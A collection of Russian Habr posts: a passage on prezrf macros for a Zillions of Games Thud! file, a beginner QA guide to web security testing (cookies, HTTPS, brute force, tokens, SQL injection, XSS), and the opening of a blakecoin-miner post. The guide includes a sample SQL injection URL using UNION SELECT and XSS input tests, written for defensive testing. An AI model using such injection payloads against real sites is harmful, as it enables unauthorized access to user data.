**expand!** здесь нам уже знаком, но что означает '**!!**'? Эта команда (**expand-first!**) сообщает препроцессору о том, что нужно использовать значение элемента, а не сам элемент в вышестоящей конструкции (**for!** в нашем примере). Этот момент может быть не очень понятен, но он весьма важен для понимания языка. Вот как будет выглядеть вывод, если использовать просто **(! -all-directions)**:
```
(shift !)
(shift -all-directions)
```
Это явно не то, чего мы хотели. К сожалению, **for!** работает только со списками и не сможет нам помочь в оптимизации следующего безобразия:
**Так ходят Тролли**
```
( define troll-1
( $1
(verify empty?)
(if (enemy? n) (capture n)) (if (enemy? nw) (capture nw))
(if (enemy? s) (capture s)) (if (enemy? ne) (capture ne))
(if (enemy? w) (capture w)) (if (enemy? sw) (capture sw))
(if (enemy? e) (capture e)) (if (enemy? se) (capture se))
add
)
)
( define troll-2
( mark
(opposite $1) (verify friend?)
back
$1 (verify empty?)
$1 (verify empty?)
(verify (or (enemy? n) (enemy? nw) (enemy? s) (enemy? ne)
(enemy? w) (enemy? sw) (enemy? e) (enemy? se)))
(if (enemy? n) (capture n)) (if (enemy? nw) (capture nw))
(if (enemy? s) (capture s)) (if (enemy? ne) (capture ne))
(if (enemy? w) (capture w)) (if (enemy? sw) (capture sw))
(if (enemy? e) (capture e)) (if (enemy? se) (capture se))
add
)
)
( define troll-3
( mark
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
back
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
(verify (or (enemy? n) (enemy? nw) (enemy? s) (enemy? ne)
(enemy? w) (enemy? sw) (enemy? e) (enemy? se)))
(if (enemy? n) (capture n)) (if (enemy? nw) (capture nw))
(if (enemy? s) (capture s)) (if (enemy? ne) (capture ne))
(if (enemy? w) (capture w)) (if (enemy? sw) (capture sw))
(if (enemy? e) (capture e)) (if (enemy? se) (capture se))
add
)
)
( define troll-4
( mark
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
back
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
(verify (or (enemy? n) (enemy? nw) (enemy? s) (enemy? ne)
(enemy? w) (enemy? sw) (enemy? e) (enemy? se)))
(if (enemy? n) (capture n)) (if (enemy? nw) (capture nw))
(if (enemy? s) (capture s)) (if (enemy? ne) (capture ne))
(if (enemy? w) (capture w)) (if (enemy? sw) (capture sw))
(if (enemy? e) (capture e)) (if (enemy? se) (capture se))
add
)
)
( define troll-5
( mark
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
back
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
(verify (or (enemy? n) (enemy? nw) (enemy? s) (enemy? ne)
(enemy? w) (enemy? sw) (enemy? e) (enemy? se)))
(if (enemy? n) (capture n)) (if (enemy? nw) (capture nw))
(if (enemy? s) (capture s)) (if (enemy? ne) (capture ne))
(if (enemy? w) (capture w)) (if (enemy? sw) (capture sw))
(if (enemy? e) (capture e)) (if (enemy? se) (capture se))
add
)
)
( define troll-6
( mark
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
back
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
(verify (or (enemy? n) (enemy? nw) (enemy? s) (enemy? ne)
(enemy? w) (enemy? sw) (enemy? e) (enemy? se)))
(if (enemy? n) (capture n)) (if (enemy? nw) (capture nw))
(if (enemy? s) (capture s)) (if (enemy? ne) (capture ne))
(if (enemy? w) (capture w)) (if (enemy? sw) (capture sw))
(if (enemy? e) (capture e)) (if (enemy? se) (capture se))
add
)
)
( define troll-7
( mark
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
(opposite $1) (verify friend?)
back
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
$1 (verify empty?)
(verify (or (enemy? n) (enemy? nw) (enemy? s) (enemy? ne)
(enemy? w) (enemy? sw) (enemy? e) (enemy? se)))
(if (enemy? n) (capture n)) (if (enemy? nw) (capture nw))
(if (enemy? s) (capture s)) (if (enemy? ne) (capture ne))
(if (enemy? w) (capture w)) (if (enemy? sw) (capture sw))
(if (enemy? e) (capture e)) (if (enemy? se) (capture se))
add
)
)
```
Но там где пасуют циклы, нам на помощь придет рекурсия:
**Рекурсия, как и было сказано**
```
(define! repeat
(if-less! 0 $1
$2*
(! repeat (!! (sum! $1 -1)) $2*)
)
)
(define! troll-n
(if-less! 0 $1
(for! $d ($ -all-directions)
( (if-less! 1 $1
mark
(repeat $1
(opposite $d)
(verify friend?)
)
back
)
(repeat $1
$d
(verify empty?)
)
(if-less! 1 $1
(verify (or
(for! $dd ($ -all-directions)
(enemy? $dd)
)
) )
)
(for! $dd ($ -all-directions)
(if (enemy? $dd)
(capture $dd)
)
)
add
)
)
(! troll-n (!! (sum! $1 -1)))
)
)
...
(! troll-n 7)
```
Это несколько сложнее для понимания, чем исходная версия, но зато никакого копипаста. Прошу особо обратить внимание на реализацию **repeat**. Этот макрос очень полезен и будет неоднократно использоваться нами в дальнейшем.
```
(! repeat 3 a b c) ; => a b c a b c a b c
```
В исходной реализации Thud! есть еще одно место, которое хотелось бы оптимизировать:
```
( define check-rock
( check-rock-direction n ne e se s sw w nw)
( check-rock-direction ne e se s sw w nw n)
( check-rock-direction e se s sw w nw n ne)
( check-rock-direction se s sw w nw n ne e)
( check-rock-direction s sw w nw n ne e se)
( check-rock-direction sw w nw n ne e se s)
( check-rock-direction w nw n ne e se s sw)
( check-rock-direction nw n ne e se s sw w)
)
```
Перечисляя вручную все циклические перестановки набора из восьми элементов легко наделать ошибок. Первым делом, определим макрос, позволяющий нам «вырезать» кусок списка:
```
(define! range
(if-less-or-equal! $1 $2
(nth! $1 $3)
(! range (!! (sum! $1 1)) $2*)
)
)
(! range 3 4 (a b c d e)) ; => c d
```
Функция **(nth! n list)**, здесь, позволяет получить n-ый элемент списка. Попробуем «повертеть» список:
```
(define! rotate
(if-less! 0 $1
$2
(! rotate (!! (sum! $1 -1)) ((splice! ((! range 2 8 $2)) ((nth! 1 $2)))))
)
)
(! rotate 2 (a b c d e f g h)) ; => (a b c d e f g h) (b c d e f g h a)
```
Вроде бы нормально, но уже **(! rotate 3 (a b c d e f g h))** дает ошибку:
**Сообщение об ошибке**Expanding [list "(nth! 2 ((splice! ((! range 2 8 (a b c "… at argument substitution in [list "(nth! $1 $3)" at t.prezrf, line 3] for [list "(range 2 8 ((splice! ((! range 2 8 (a b"… at expand! of [list "(! range 2 8 ((splice! ((! range 2 8 (a"… at argument substitution in [list "(! range 2 8 $2)" at t.prezrf, line 11] for [list "(rotate 2 ((splice! ((! range 2 8 (a b "… at expand! of [list "(! rotate 2 ((splice! ((! range 2 8 (a "… at argument substitution in [list "(! rotate (!!! (sum! $1 -1)) ((splice! ("… at t.prezrf, line 11] for [list "(rotate 3 (a b c d e f g h))" at expand! of [list "(! rotate 3 (a b c d e f g h))" at t.prezrf, line 15]]]]]]]:
In [list "(nth! 2 ((splice! ((! range 2 8 (a b c "… at argument substitution in [list "(nth! $1 $3)" at t.prezrf, line 3] for [list "(range 2 8 ((splice! ((! range 2 8 (a b"… at expand! of [list "(! range 2 8 ((splice! ((! range 2 8 (a"… at argument substitution in [list "(! range 2 8 $2)" at t.prezrf, line 11] for [list "(rotate 2 ((splice! ((! range 2 8 (a b "… at expand! of [list "(! rotate 2 ((splice! ((! range 2 8 (a "… at argument substitution in [list "(! rotate (!!! (sum! $1 -1)) ((splice! ("… at t.prezrf, line 11] for [list "(rotate 3 (a b c d e f g h))" at expand! of [list "(! rotate 3 (a b c d e f g h))" at t.prezrf, line 15]]]]]]]:
Trying to get item #2 of list with 1 items
Как можно заметить, оно не такое пространное как сообщения об ошибках при компиляции шаблонов C++, но не намного их понятнее. Я довольно долго возился с prezrf и вывел для себя два эмпирических правила в части относительно безболезненной работы с ним:
1. Не передавать изменяемые списки в качестве аргументов рекурсивных макросов
2. Ограничивать использование **for!** наиболее простыми случаями
Любое отступление от этих правил, временами, грозит взорвать мне мозг, в тщетных попытках понять суть произошедшего. Попробуем перефразировать наш **rotate** в духе первого правила:
```
(define! rotate
(if-less! 0 $1
((splice! ((! range (!! (sum! $1 1)) (!! (length! $2)) $2))
((! range 1 $1 $2))
))
(! rotate (!! (sum! $1 -1)) $2)
)
(if-equal! 0 $1
$2
)
)
```
Он стал выглядеть страшнее, но он работает! Что же нам теперь с ним делать? Перестановки нам нужны не просто так, мы должны передать эти аргументы в **check-rock-direction**. Конечно, можно было бы внести в **rotate** соответствующие изменения, вызывая макрос из него, но это сделало бы **rotate** не универсальным. Видимо, пришло время расчехлять секретное оружие функционального программирования — [функции высшего порядка](http://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_%D0%B2%D1%8B%D1%81%D1%88%D0%B5%D0%B3%D0%BE_%D0%BF%D0%BE%D1%80%D1%8F%D0%B4%D0%BA%D0%B0):
```
(define! map
($!3
(! map $1 $2 (!! (length! $2)))
)
($?3
(if-less! 0 $3
($1 (!! (nth! $3 $2)))
(! map $1 $2 (!! (sum! $3 -1)))
)
)
)
(define check-rock
(! map check-rock-direction
(!! ((! rotate
(!! (sum! (!! (length! ($ -all-directions)))))
($ -all-directions)
)))
)
)
```
Над этим пришлось повозиться, но оно того стоило. Главное место во всем этом коде здесь: **($1...)**. Это тоже работает, что не может не радовать. Собственно, на [этом варианте](https://github.com/GlukKazan/ZoG/tree/25c2bc9b374312d1706c0525f2570ffb49d9faa6/Prezrf) можно было бы остановиться, если бы не размер результирующего ZRF-файла. Развертывая все макросы, из 14-килобайтного исходника, препроцессор получает на выходе более чем мегабайтный файл описания! Стоит ли говорить о том, что ZoG загружает эту ZRF-ку довольно неторопливо.
Как победить эту беду? Да с помощью макросов же (у нас же больше нет ничего):
**Макросы создают макросы**
```
(define! troll-n
(if-less! 0 $1
(define (concat! troll - $1)
( (if-less! 1 $1
mark
(repeat (!! (sum! $1 -1))
(opposite (concat! $ 1))
(verify friend?)
)
back
)
(repeat $1
(concat! $ 1)
(verify empty?)
)
(if-less! 1 $1
(verify (or
(for! $dd ($ -all-directions)
(enemy? $dd)
)
) )
)
(for! $dd ($ -all-directions)
(if (enemy? $dd)
(capture $dd)
)
)
add
)
)
(! troll-n (!! (sum! $1 -1)))
)
)
(! troll-n 7)
(define! troll-all
(if-less! 0 $1
(for! $d ($ -all-directions)
( (concat! troll - $1) $d
)
)
(! troll-all (!! (sum! $1 -1)))
)
)
```
Конструкция **(! troll-n 7)** последовательно создает определения ZRF-макросов troll-1, troll-2,… troll-7 (порядок их следования для нас не важен), а **(! troll-all)**, будучи вызвана в нужном месте, перечислит их вызовы. Здесь стоит обратить внимание на конструкцию **(concat! $ 1)**. Таким замысловатым образом, мы формируем **$1** в теле ZRF-макроса. Если мы просто скажем **$1**, получится не очень хорошо.
[Результат](https://github.com/GlukKazan/ZoG/tree/master/Prezrf) не замедливает сказаться. Размер итогового ZRF-файла снижается до 28-килобайт. Можно было бы сделать его еще меньше, но я не видел в этом большого смысла. Он работает так же как и оригинал, а это значит, что на нашем длинном пути мы не наделали ошибок.
Хочу отметить, что описываемый мной [препроцессор](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1663) совершенно бесплатен в использовании и кроссплатформенен. Каждый счастливый обладатель установленной Java может с ним поэкспериментировать. Разумеется результаты его трудов запустить в демо-версии ZoG не удастся, но мы ведь тут ненормальным программированием занимаемся?
**Примечание**В качестве иллюстрации к статье, использована работа знаменитого художника [Мориса Эшера](http://ru.wikipedia.org/wiki/%D0%AD%D1%88%D0%B5%D1%80,_%D0%9C%D0%B0%D1%83%D1%80%D0%B8%D1%86_%D0%9A%D0%BE%D1%80%D0%BD%D0%B5%D0%BB%D0%B8%D1%81). | https://habr.com/ru/post/214713/ | null | ru | null |
# «Осторожно, печеньки!»: советы начинающим тестировщикам в сфере безопасности
Привет, меня зовут Вика Бегенчева, я QA-инженер в Redmadrobot. Я расскажу, как злоумышленники крадут наши данные, и что можно сделать, чтобы от этого защититься.
Термин «тестирование безопасности» звучит довольно серьёзно. Многие боятся погружаться в эту тему, думая, что их ждут непроходимые дебри из непонятных слов, сложной литературы и загадочных аббревиатур. Я разберу основы тестирования безопасности и вы убедитесь, что на самом деле это просто и интересно.
Статья написана для начинающих тестировщиков безопасности и тех, кому непонятно, что за «фрукты» эти хакеры и чем они там занимаются. Мы рассмотрим примеры самых частых уязвимостей и постараемся разобраться, как грамотно проверить проект на слабые места и сформировать у себя образ мышления, который в дальнейшем станет вашим верным помощником в тестировании.
Что хранят cookie
-----------------
Допустим, мы зашли на сайт интернет-магазина ошейников для собак и выбрали французский язык (почему бы и нет). Добавили в корзину пару шлеек и поводок. Что будет, если мы закроем вкладку и зайдём на сайт снова? Всё останется прежним: интерфейс на французском и три товара в корзине. Магия? Нет, cookie.
Cookie — один из инструментов, который формирует так называемый фингерпринт каждого пользователя в сети. Его можно сравнить с «отпечатком пальца», по которому можно узнать, что за человек покупает ошейник для собаки.
На вашем устройстве есть текстовый файл, в котором содержится различная информация о пользователе для каждого сайта — cookie. Она хранится для разных целей, в том числе и для удобства пользования сайтом. Cookie бывают временные (cookie-сессии) и постоянные. Давайте взглянем на них поближе.
Открываем панель разработчика в Chrome и переходим на рандомную статью на «Хабре». Во вкладке Network находим первый запрос, и в хедерах видим как проставляются cookie:
«Хабр» в ChromeИ в респонсе *(ответе)* видим cookie:
`Set-Cookie: fl=ru; expires=Fri, 25-Feb-2022 08:33:31 GMT; Max-Age=31536000; path=/`
Тут уже работает логика и Google *(если очень нужно)*: cookie типа `fl=ru` *(параметр, вероятно, отвечающий за язык)* или те, которые хранят товары в корзине — постоянные cookie. Они не меняются, если пользователь их не трогает. Нас же интересуют временные или сессионные cookie. Они хранят информацию, которая помогает сайту понять, что это всё тот же пользователь в текущей сессии.
Например, при авторизации на сайте, в файл cookie проставляется условный `session_id` — уникальный идентификатор сессии на данный момент времени, к которому привязаны текущий браузер и пользователь.
Когда мы совершаем действия, доступные только этому пользователю, мы отправляем в хедер запроса (заголовок запроса, в него передаётся способ общения с сервером) и данные, которые локально сохранили в cookie, чтоб подтвердить, что это мы, а не условный программист из Финляндии. Временные cookie имеют срок годности и стираются в конце сессии, или становятся неактуальными с течением времени.
Как понять, что ваши данные в опасности
---------------------------------------
Если хакеру удастся угнать cookie пользователя, то он сможет действовать от его лица или же просто получит конфиденциальную информацию юзера. Как узнать, всё ли впорядке?
**Во-первых**, нужно проверить, не хранятся ли пароли от сайтов в cookie. Удивительно, но в 2021 году до сих пор существуют сайты, которые это делают. Информация о сессиях должна иметь ограничения — быть временной или заменяться с каждой новой сессией.
**Во-вторых**, нужно проверить, чтобы все конфиденциальные cookie были с флагом httpOnly и secure.
**Cookie с флагом “secure” передаются на сервер только по протоколу HTTPS. Как правило, в этом случае есть сертификат SSL или TLS. Cookie с флагом “httpOnly” защищены от манипуляции JavaScript через документ, где хранятся cookie.**
Открываем в Chrome «инструменты разработчика» и переходим во вкладку Application.
Проверяем, не хранятся ли пароли в LocalStorage в этом же разделе «инструментов разработчика».
Теперь рассмотрим сценарии кражи пользовательских данных и как от них защититься.
HTTP и HTTPS
------------
Гуляя по сайтам мы до сих пор встречаем предупреждения браузеров о «незащищённом соединении». Иногда строгий браузер вообще не пускает нас на сайт, потому что не хочет нести за него ответственность. А чего он боится?
А боится он протокола HTTP — он древний и небезопасный. Все современные сайты общаются по протоколу HTTPS и вот их браузер любит. Разница между HTTP и HTTPS всего в одной букве, но эта буква означает много — «Secure». Безопасность передачи данных — главный приоритет современных браузеров.
Сайты, которые общаются с сервером по протоколу HTTPS, используют сертификат TLS (его предшественник — SSL). Такой сертификат может защищать как один домен, так и группу поддоменов.
Вернёмся в магазин — мы решили всё-таки купить ошейник своей собаке. Переходим в корзину, вводим данные банковской карты для оплаты, нажимаем на большую кнопку «Оплатить» и наши данные улетают на сервер для обработки запроса. Допустим, злоумышленники решили перехватить данные нашей банковской карты в момент отправки запроса.
Если сайт общается по протоколу HTTPS, то между магазином и сервером построен безопасный «мост». SSL-сертификат позволяет шифровать данные нашей карты и преобразует их в нечитаемый набор символов.
На этом моменте все хакеры мира грустят, потому что они знают, что расшифровать данные может только сервер. На нём есть ключ дешифратор, который поможет понять, какие данные мы ввели на сайте и правильно их обработать.
Чтобы защититься от кражи данных, убедитесь:
1. Что сайт общается через *HTTPS*, а не через *HTTP*.
2. Есть редирект с *http://* на *https://* — злоумышленник может разместить ссылку с *http://*, тогда данные можно будет угнать. Редирект насильно переводит пользователя на *https://* ради его же блага. И все счастливы.
3. Включен [HSTS](https://ru.wikipedia.org/wiki/HSTS).
Brute force атаки
-----------------
Допустим, в нашем любимом магазине ошейников для питомцев есть админка. Владелец сайта решил оставить ссылку админки по адресу *“https:// […].com/admin”*. Злоумышленник переходит по этому адресу и его ждёт страница входа в панель администратора. Допустим, наш хакер вводит логин «admin», а пароль подбирает с помощью скрипта, который сам будет перебирать пароли.
Если логин верный, то узнать пароль дело нескольких часов. Запустил скрипт на ночь, лёг спать, а утром уже есть доступ к панели администратора. Такой перебор и есть brute force атака.
Защититься от взлома можно несколькими способами *(про авторизацию/аутентификацию и oauth2 мы поговорим ниже)*. Но, если речь идёт о brute force атаке, то простейшая защита тут — установка лимита на попытки ввода пароля.
Лимиты устанавливают в зависимости от специфики продукта и решения проектной команды:
* ограниченное число попыток в единицу времени;
* ограниченное число попыток с последующей блокировкой функционала (например, с восстановлением доступа через почту когда попытки закончились);
* установление тайм-аута после n попыток ввода.
Естественно, это не избавит от всех проблем, но сильно усложнит жизнь злоумышленнику.
Токены и сессии
---------------
Давайте представим, что мы захотели вступить в тайный клуб любителей настольных игр. Туда просто так не попасть. Сначала нужно доказать, что мы подходим на роль члена клуба — любим настолки.
Итак, в клубе знают наше имя и фамилию, мы доказали, что любим игры, и теперь нам выдадут специальный пропуск, по которому мы сможем проходить в здание закрытого клуба. Теперь не нужно каждый раз доказывать, что мы — это мы. У нас есть волшебный ключ-пропуск, который открывает двери тайного клуба.
А что будет, если наш пропуск-ключ украдут? По нему просто войдут в здание и узнают все секреты закрытого клуба. Токены сессии — это ключи к ресурсам нашего сайта. Когда мы логинимся на сайте, мы отправляем запрос на авторизацию/аутентификацию пользователя. На сервере проверяются его права и генерируется токен.
Access-token определяет права пользователя и доступность ресурсов для него. Выглядит он как длинный набор символов. Можно сказать, что токен — тот самый пропуск, который нам выдали в нашем тайном клубе.
При каждом следующем обращении к ресурсам теперь нам не нужно вводить логин и пароль, чтоб доказать, что мы имеем право на доступ. Просто в каждым запросе на ограниченный ресурс отправляем наш пропуск — access-token.
Хорошей и частой практикой является использование время жизни токена. После логина и формирования access-токена, фиксируется время жизни – дата, до которой токен считается действительным. Это как абонемент на месяц в тайный клуб.
На разных ресурсах, требования ко времени жизни токена разные. На одном сайте токен живёт год, а на другом — всего лишь час. После того как срок действия токена истечёт, система попросит пользователя снова авторизоваться. Чтобы не вводить всё время логин и пароль после истечения access-токена, придумали refresh-токен.
У refresh-токена только одна цель — обновлять access-токен. Это работает так:
* отправляем запрос на закрытый ресурс с истекшим аксесс-токеном;
* сервер возвращает ошибку о «протухшем» токене;
* клиент видит эту ошибку и сразу формирует запрос на обновление аксесс-токена;
* в хедеры этого запроса проставляется значение рефреш-токена;
* сервер сверяет рефреш-токен с базой данных, формирует новый аксесс-токен и отправляет его обратно на клиент;
* клиент автоматически повторяет запрос на закрытый ресурс уже с новым аксесс-токеном.
Готово! А пользователи сайта даже ничего не увидели и не поняли. Как этим пользуются хакеры?
Access- и refresh-токены – это токены сессии. Если злоумышленнику удастся перехватить их, то он докажет, что он — это мы, просто подставив в запрос. Он получит доступ к нашим ресурсам и сможет совершать действия от нашего имени.
Чтобы защититься, нужно:
* проверить, что токены сессии не хранятся в файлах Cookie или LocalStorage;
* убедиться, что все запросы с токенами передаются по зашифрованному HTTPS;
* проверить, что нет доступа к ресурсу без предъявления токена — отправить запрос без токена;
* проверить, что нет доступа с чужим токеном, а также проверить запросы с несуществующим токеном;
* проверить запросы с истекшим токеном;
* поменять в базе данных вручную время жизни токена *(продлить/просрочить)*;
* удалить access-token токен из базы данных и отправить запрос.
Авторизация и аутентификация
----------------------------
Чтобы обеспечить безопасность системе и разрешить взаимодействовать с ней разным ролям пользователей *(админы, модераторы и т.д.)*, важно понимать различия между авторизацией и аутентификацией.
Давайте представим, что мы приглашены на конференцию по автоматическому тестированию. Мы приходим, а на входе нас встречают добродушные помощники организаторов, которые спрашивают наше имя. «Лаврентий Куашников», — отвечаем мы и показываем паспорт. Организаторы ищут нас в списке и видят, что мы спикер. Нам выдают бейдж и проводят в отдельное помещение, где мы можем расположиться и подготовиться к выступлению.
**Аутентификация — это проверка на соответствие заявленного имени пользователя *(паспорта)* с идентификатором в системе *(Лаврентий Куашников)*. Авторизация — это предоставление нам прав в соответствии с нашей ролью в системе *(отдельная комната для спикера)*.**
Вернёмся к примеру с админкой нашего магазина ошейников. Снова переходим по адресу админки и нас ждёт страница с вводом логина и пароля. Логин — это идентификатор пользователя в системе. Пароль — это доказательство пользователя, что он — это он *(ведь только он может знать пароль)*.
Когда в запросе мы отправляем эти данные, сервер проверяет их на соответствие — это аутентификация. Если аутентификация прошла успешно, то сервер смотрит в базе данных на нашу роль в системе и какие возможности у нас есть — это авторизация.
В разных сервисах авторизация и аутентификация могут проходить как одновременно, так и по отдельности. В первом случае при входе в админку у нас проверяется сразу как пароль, так и разрешение на переход в панель управления сайтом. Во втором случае авторизация проходит тогда, когда уже аутентифицированный пользователь пытается что-то изменить в системе.
А ещё наш сервер умный, и он знает, как реагировать на ошибки авторизации/аутентификации. У него есть два кода ошибок:
* 401 — если логин/пароль не совпадают или если для доступа к ресурсу нужна аутентификация;
* 403 — когда сервер понял, что за юзер к нему ломится, но отказывает ему в доступе.
Если хакер доказал, что он — это мы, то система примет его с распростертыми объятиями. Злоумышленник получит доступ к информации и действиям, доступным только нам.
Самый простой способ помочь хакеру пройти авторизацию в системе — передать логин и пароль в запросе в незашифрованном виде. Ну и хранить информацию в cookie, конечно. Но мы не хотим помогать хакерам. Так что делать?
Есть ряд проверок, которые снижают вероятность взлома:
* проверьте, что пароли авторизации не хранятся в cookie. Токены – хранятся только в *httpOnly* куках;
* все запросы, где используется авторизация, передаются по зашифрованному соединению *https*.
Также проверьте пользовательский доступ к ресурсам с кэшем страницы:
1. Авторизуйтесь в системе.
2. Откройте ту же страницу в соседней вкладке, при этом пользователь должен быть авторизован.
3. Разлогиньтесь из второй вкладки.
4. Вернитесь на первую вкладку (кэш сайта покажет, что вы ещё в системе).
5. Попробуйте перейти на страницу с ограниченным доступом из первой вкладки, например, в личный кабинет.
Доступ должен быть запрещён. То же самое проделайте при условии, что вы не просто вышли во второй вкладке, а зашли под другой учётной записью.
Проверьте также время жизни токенов в системе. Можно попросить разработчика поменять время жизни на 3 минуты, вместо 7 дней. Также можно попросить поменять время сервера. Но время жизни токена в любом случае должно быть ограничено.
Проверьте API:
1. Отправьте запрос без хедеров авторизации.
2. Отправьте запрос с чужими значениями параметров авторизации.
3. Проверьте запрос с истекшим токеном или с тем же токеном после логаута *(после логаута токен должен стать недействительным)*.
4. Проверьте, чтобы логин/пароль не передавались в параметрах запроса. Пример, как не нужно передавать логин/пароль в параметрах http запроса: *“http://site.ru/page.php?login=testqa&password=12345678”*.
Так же в некоторых системах с повышенными требованиями к безопасности можно применять дополнительные опциональные проверки. **Первое,**что мы можем сделать, так этоможно проверить авторизацию при смене пароля:
1. Авторизуйтесь в системе в одном браузере.
2. Авторизуйтесь в системе в другом браузере *(или во вкладке «инкогнито»)*.
3. Смените пароль в системе через первый браузер.
4. Проверьте доступ к ресурсам на втором браузере.
Тут мы проверяем, достаточно ли системе только сохранённых данных в cookie. При смене пароля все токены должны быть недействительными.
**Второе:** можно проверить наличие и работоспособность функции *«Выход со всех устройств»*. При этом запросе мы говорим серверу, что аннулируем все действительные токены, кроме текущего.
Третье: проверьте наличие постоянного тайм-аута сессии *(Session-Timeout)*, они бывают нескольких видов. Наличие **постоянного** тайм-аута запрещает доступ к ресурсу через n минут после авторизации. Наличие **динамического** тайм-аута запрещает доступ к ресурсу через n минут после последнего запроса. Другими словами, динамический тай-маут закрывает доступ из-за вашего бездействия в системе.
И напоследок, не забудьте проверить, доступна ли двухфакторная аутентификация на сайте.
Двухфакторная аутентификация
----------------------------
Если в вашей входной двери есть замок только одного типа, то грабителю нужна только одна отмычка *(отмычка одного типа)*. Если же у вас есть ещё и дополнительная защита *(цепочка, навесной замок, собака)*, то грабителю будет сложнее вас ограбить. Скорее всего он передумает.
Так работает и двухфакторная аутентификация. У нас есть основной замок — логин и пароль. И у нас есть второй тип защиты — чаще всего это код, приходящий по SMS, электронной почте или отображаемый в программе двухфакторной аутентификации *(например, в* [*Google Authenticator*](https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=ru&gl=US)*)*.
Ещё неплохой практикой является использование на сайте протокола oAuth2. Простыми словами, oAuth2 — это когда мы авторизуемся в одном сервисе с помощью другого. Например, когда регистрируемся/логинимся на сайте с помощью Gmail.
Схема примера работы oAuth2SQL-инъекции кода
-----------------
Давайте немного углубимся через ещё одну аналогию. Допустим, мы работаем официантом в элитном ресторане. Гости периодически просят изменить состав блюд. Официант отмечает, какие изменения внести в меню.
Недобросовестный официант анализирует и понимает, что на кухне не раздумывая выполняют любой запрос. Поэтому можно внести свои собственные изменения в заказ и повара безоговорочно приготовят блюдо. И он пишет на очередном рецепте:
**«ДОБАВИТЬ перец И УБРАТЬ сахар».**
Вот и всё. Пранк удался. Но мы на стороне добра, так что вместо того, чтобы заменять заказ, мы проверим, как на кухне умеют фильтровать изменения. Как этим пользуются хакеры? SQL injection — это намеренное внесение в базу данных извне. В нашем примере, кухня — это база данных. SQL-запросы — заказы от официантов.
Схема зараженияЕсли у базы данных нет фильтрации запросов, то злоумышленник может манипулировать данными: получать данные пользователей *(в том числе логин и пароль)*, размещать файлы, заменять значения. Как же злоумышленник может отправлять такие запросы? Это можно сделать через параметры *HTTP*, добавив в адресной строке параметры:
*“http://some.site.ru/test/index.php?name=1′ UNION SELECT 1,2,3,4,5 —+ &password=1234”*
Не углубляясь в то, как мы можем сами попробовать хакнуть свою базу данных, разберёмся в причинах уязвимости и посмотрим, как можно защититься.
**Во-первых**, в запросе должно быть экранирование спецсимволов — игнорирование исполняемым кодом спецсимволов, которые используются в синтаксисе языка программирования. Если один из спецсимволов пропал, то сервер воспринимает его, как часть команды — уязвимость есть.
**Во-вторых**, проверяем, чтобы при намерено кривом запросе не выводились ошибки, через которые можно сделать выводы о составе базы данных. Например, ошибка “Unknown column ‘4’ in ‘order clause’” говорит о том, что данные из таблицы выбираются по трём колонкам или меньше.
Сегодня существует множество фреймворков и библиотек, которые предоставляют защиту от SQL-инъекций. Например, [библиотека](https://github.com/mysqljs/mysql) node-mysql для node.js.
XSS
---
XSS расшифровывается как “Cross-Site Scripting”. Эта уязвимость входит в список [OWASP TOP-10](https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS).html#). Её смысл в том, что злоумышленник принудительно внедряет JavaScript-код через инпут на сайте: в поле ввода «пушит» код, который сохраняется на странице. Впредь он будет исполняться каждый раз при вызове страницы. Это происходит потому, что на сайте отсутствует экранирование спец символов.
У хакера много вариантов воспользоваться этой уязвимостью: от отображения алерта *(всплывающего окна)* с рекламой до кражи cookie и редиректа на сайт-зеркало.
Не забывайте, что проверять наличие уязвимостей на чужом сайте по законодательству РФ *(и многих других стран)* запрещено. Это воспринимается, как попытка намеренного причинение вреда сайту. И что тогда делать?
**Первым делом** вводим в инпуты на сайте скрипты например . Если уязвимость есть, то при перезагрузке страницы появится алерт со значением «test».
**После этого** вводим в инпуты строку:
```
\\ “test” :grin: /?.&&*@#$%^*;~` 你好你怎 фыва.&%\ ’**t\_e\_st**’:sunglasses:
```
Это универсальная проверка сразу на несколько кейсов. Если часть символов исчезла *(например, в поле поиска)* или не записалась в БД *(если это поле имени пользователя при регистрации, например)*, то уязвимость есть. Все символы не должны восприниматься, как часть исполняемого поля. Если часть символов исчезла (например, в поле поиска) или не записалась в БД (если это поле имени пользователя при регистрации, например), то уязвимость есть. Все символы не должны восприниматься, как часть исполняемого поля.
В конце вводим скрипт или спецсимволы в окно фронтенда — вставляем прям в код сайта через dev tools в браузере.
Напутствие
----------
Мы рассмотрели лишь несколько уязвимостей из множества существующих. Но это поможет войти в прекрасный мир тестирования безопасности. Чтобы ничего не забыть, мы с железными тестировщиками подготовили [чеклист](https://www.notion.so/rmrhrcc/web-fd0c49b8644a4574a42502a7609e07f5).
**Думай, как хакер!** Пытайся получить выгоду или навредить. Но только на своём проекте. **Следи за новостями безопасности.** Смотри [реестр уязвимостей](https://owasp.org/), читай статьи, которые [пишут](https://www.kaspersky.ru/blog) фирмы по обеспечению безопасности и мониторь новости про утечки данных. Обязательно пытайся разобраться в сути. **И будь на стороне добра!** | https://habr.com/ru/post/544198/ | null | ru | null |
# Как я blakecoin майнер делал
Не знаю кому как, а меня прошедший 2017 год шокировал стремительным взлетом биткоина. Сейчас, конечно, ажиотаж уже ушел, а в 17-м году про криптовалюты говорили и писали все кому не лень.
